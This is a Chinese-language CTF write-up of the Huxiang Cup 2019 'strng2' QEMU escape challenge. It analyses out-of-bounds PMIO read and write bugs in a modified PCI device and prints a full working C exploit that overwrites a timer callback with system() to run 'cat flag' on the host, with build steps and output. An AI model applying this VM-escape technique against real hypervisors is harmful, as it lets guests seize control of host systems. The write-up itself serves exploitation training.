hxb2019 strng2

这道题是湖湘杯2019的一道QEMU pwn,题目下载(提取码: 4wag)。QEMU pwn题目一般是基于QEMU源码进行修改或者添加,在QEMU模拟的PCI设备中引入漏洞,选手需要利用漏洞读取宿主机上的flag文件。
解压文件,查看内容:

1
2
3
4
5
6
7
8
9
10
11
$ cat launch.sh
#! /bin/sh
./qemu-system-x86_64
-initrd ./rootfs.cpio
-kernel ./vmlinuz-4.8.0-52-generic
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'
-enable-kvm
-monitor /dev/null
-m 64M --nographic -L ./dependency/usr/local/share/qemu
-L pc-bios
-device strng

通过-device strng可知添加的可能存在漏洞的设备名称为strng,用IDA加载qemu-system-x86_64, 并在Function name中搜索strng。

查看strng_class_init()

可知strng设备的vendor_id:device_id为1234:11e9,下面运行QEMU,可能会遇到错误。

1
2
$ sudo ./launch.sh
./qemu-system-x86_64: error while loading shared libraries: libiscsi.so.2: cannot open shared object file: No such file or directory

解决方法:

1
2
3
4
5
6
$ git clone https://github.com/sahlberg/libiscsi.git
$ ./autogen.sh
$ ./configure
$ make
$ sudo make install
$ cp /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /lib/libiscsi.so.2

再次启动QEMU并查看PCI设备:

1
2
3
4
5
6
7
8
9
10
11
$ sudo ./launch.sh
Welcome to QEMU-ESCAPE
qemu login: root
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9

通过比对vendor_id和device_id可以确定strng设备的PCI地址为00:04.0,查看strng设备的地址空间:

1
2
3
4
5
6
# cat /sys/devices/pci0000:00/0000:00:04.0/resource
start end flags
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 # MMIO
0x000000000000c050 0x000000000000c057 0x0000000000040101 # PMIO
0x0000000000000000 0x0000000000000000 0x0000000000000000
...

也可以通过/proc/iomem和/proc/ioports两个文件来查看:

1
2
3
4
# cat /proc/ioports
c050-c057 : 0000:00:04.0
# cat /proc/iomem
febf1000-febf10ff : 0000:00:04.0

端口号c050-c057和物理地址febf1000-febf10ff是属于strng设备的, 对这些地址空间进行读写操作就可以触发对应的strng函数。地址空间和strng函数的绑定是在pci_strng_realize()中调用memory_region_init_io()实现的:

1
2
3
4
5
6
7
.data.rel.ro:0000000000E19080 strng_mmio_ops  dq offset strng_mmio_read; read
.data.rel.ro:0000000000E19080 ; DATA XREF: pci_strng_realize+75↑o
.data.rel.ro:0000000000E19080 dq offset strng_mmio_write; write
...
.data.rel.ro:0000000000E19100 strng_pmio_ops dq offset strng_pmio_read; read
.data.rel.ro:0000000000E19100 ; DATA XREF: pci_strng_realize+CB↑o
.data.rel.ro:0000000000E19100 dq offset strng_pmio_write; write

下面就需要重点分析strng函数了:


注释为正确解析后的代码,IDA有时候不能正确解析结构体中的结构,需要自己分析然后注释凑合看。其中的struct STRNGState结构体没有自动解析,需要在Local Types中找到这个结构体并双击,就可以解析到Structures里了


可以看到strng_pmio_read和strng_pmio_write中有越界读和越界写的问题,越界写的触发过程是调用一次strng_pmio_write,设置addr=0,就会跳转到opaque->addr=val这条语句,设置val为一个大于regs数组大小的值,再调用一次strng_pmio_write,设置addr=4,即可触发漏洞,将第一次设置val值对应的位置写上本次val的值。
regs后面是一个QEMUTimer_0结构体,这个结构体是一个定时器,其中cb是函数指针(callback function),其初始化是在pci_strng_realize()中实现的,初始化为strng_timer(),因此知道cb的地址,减去strng_timer()的偏移即可得出elf在内存中的基地址。opaque是传给cb的参数,可以在timerlist_run_timers()中看到。
那么思路如下:
1.越界读出cb函数指针的地址,用cb的地址减去strng_timer()的偏移得出elf的基地址;
2.用system@plt加上elf基地址得出system地址;
3.越界读出QEMUTimer_0里opaque的地址;
4.越界写将QEMUTimer_0里opaque的地址写为上层opaque->regs[3]的地址;
5.用mmio在opaque->regs[3]~[4]写上”cat flag”;
6.越界写将cb写为system的地址
7.启动定时器(strng_pmio_write即可启动定时器)
完整exploit如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, addr);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0, offset);
return pmio_read(pmio_base+4);
}

void pmio_arbwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0, offset);
pmio_write(pmio_base+4, value);
}

int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");

// leak elf base addr
uint64_t cb_addr = pmio_arbread(0x114);
cb_addr = cb_addr << 32;
cb_addr += pmio_arbread(0x110);
uint64_t elf_base = cb_addr - 0x29ac8e;
uint64_t system_addr = elf_base + 0x200D50;
printf("[+] leak cb addr: 0x%lx\n", cb_addr);
printf("[+] elf base: 0x%lx\n", elf_base);
printf("[+] system addr: 0x%lx\n", system_addr);
// leak opaque addr
uint64_t opaque_addr = pmio_arbread(0x11c);
opaque_addr = opaque_addr << 32;
opaque_addr += pmio_arbread(0x118);
printf("[+] leak opaque addr: 0x%lx\n", opaque_addr);

// write parameter addr first
uint64_t para_addr = opaque_addr + 0xb04;
pmio_arbwrite(0x118, para_addr & 0xffffffff);

// set flag first and then overwrite timer func pointer and trigger timer
mmio_write(12,0x20746163); // 'cat '
mmio_write(16, 0x67616c66); // 'flag'
pmio_arbwrite(0x110, system_addr & 0xffffffff);
printf("[+] flag: \n");

return 0;
}

编译方法:

1
$ gcc -O0 -static -o exploit exploit.c

因为题目使用的busybox没有库文件,因此要用静态编译。编译后将exploit复制到rootfs/pwn目录中执行如下打包命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cd rootfs
$ find . | cpio -H newc -ov -F ../rootfs.cpio
$ cd ..
$ sudo ./launch.sh
...
# /pwn/exploit
mmio_mem @ 0x7fed0d087000
[+] leak cb addr: 0x5566c08f4c8e
[+] elf base: 0x5566c065a000
[+] system addr: 0x5566c085ad50
[+] leak opaque addr: 0x5566c26b9bd0
[+] flag:
# flag{f4nr0ng1992}

调试方法和之前的文章稍有差别:

1
2
3
4
5
6
$ sudo gdb qemu-system-x86_64
(gdb) b strng_mmio_read
(gdb) b strng_mmio_write
(gdb) b strng_pmio_read
(gdb) b strng_pmio_write
(gdb) run -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -L ./dependency/usr/local/share/qemu -L pc-bios -device strng

reference
https://www.anquanke.com/post/id/197650
https://www.xd10086.com/posts/2010703677257798825/